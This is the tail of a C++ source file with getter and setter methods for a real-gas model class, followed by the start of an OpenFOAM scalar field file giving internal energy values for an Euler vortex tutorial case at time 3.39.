float real_gas_models::gasparameters::cgetPressure() const {
return vpte_.pressure;
}
float real_gas_models::gasparameters::cgetTemperature() const {
return vpte_.temperature;
}
real_gas_models::state_phase
real_gas_models::gasparameters::cgetState() const {
return sph_;
}
real_gas_models::parameters
real_gas_models::gasparameters::cgetParameters() const {
return parameters(vpte_);
}
std::shared_ptr<real_gas_models::constgasparameters>
real_gas_models::gasparameters::cgetConstparameters() const {
return constparameters_;
}
//================================
// gasparameter::csetParameters
//================================
void real_gas_models::gasparameters::csetParameters(float v, float p, float t,
state_phase sp) {
vpte_.volume = v;
vpte_.pressure = p;
vpte_.temperature = t;
sph_ = sp;
}
| [
"ymishutinskiy@mail.ru"
] | ymishutinskiy@mail.ru |
b7d57040dcd849c123312aaa7a3eecd8cdce3add | 4352b5c9e6719d762e6a80e7a7799630d819bca3 | /tutorials/eulerVortex.twitch/eulerVortex.cyclic.twitch.moving/3.39/e | 9aa2cd4b12c675e9736134eaf906383625615140 | [] | no_license | dashqua/epicProject | d6214b57c545110d08ad053e68bc095f1d4dc725 | 54afca50a61c20c541ef43e3d96408ef72f0bcbc | refs/heads/master | 2022-02-28T17:20:20.291864 | 2019-10-28T13:33:16 | 2019-10-28T13:33:16 | 184,294,390 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 80,597 | /*--------------------------------*- C++ -*----------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration | Website: https://openfoam.org
\\ / A nd | Version: 6
\\/ M anipulation |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class volScalarField;
location "3.39";
object e;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
dimensions [0 2 -2 0 0 0 0];
internalField nonuniform List<scalar>
10000
(
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.29
1006.29
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.29
1006.3
1006.3
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.31
1006.3
1006.3
1006.3
1006.3
1006.31
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.31
1006.31
1006.32
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.31
1006.32
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.32
1006.32
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.3
1006.28
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.3
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.3
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.29
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.31
1006.32
1006.32
1006.32
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.27
1006.29
1006.3
1006.27
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.32
1006.32
1006.33
1006.33
1006.33
1006.33
1006.33
1006.33
1006.32
1006.31
1006.29
1006.29
1006.29
1006.27
1006.24
1006.21
1006.2
1006.2
1006.2
1006.21
1006.22
1006.23
1006.25
1006.27
1006.29
1006.31
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
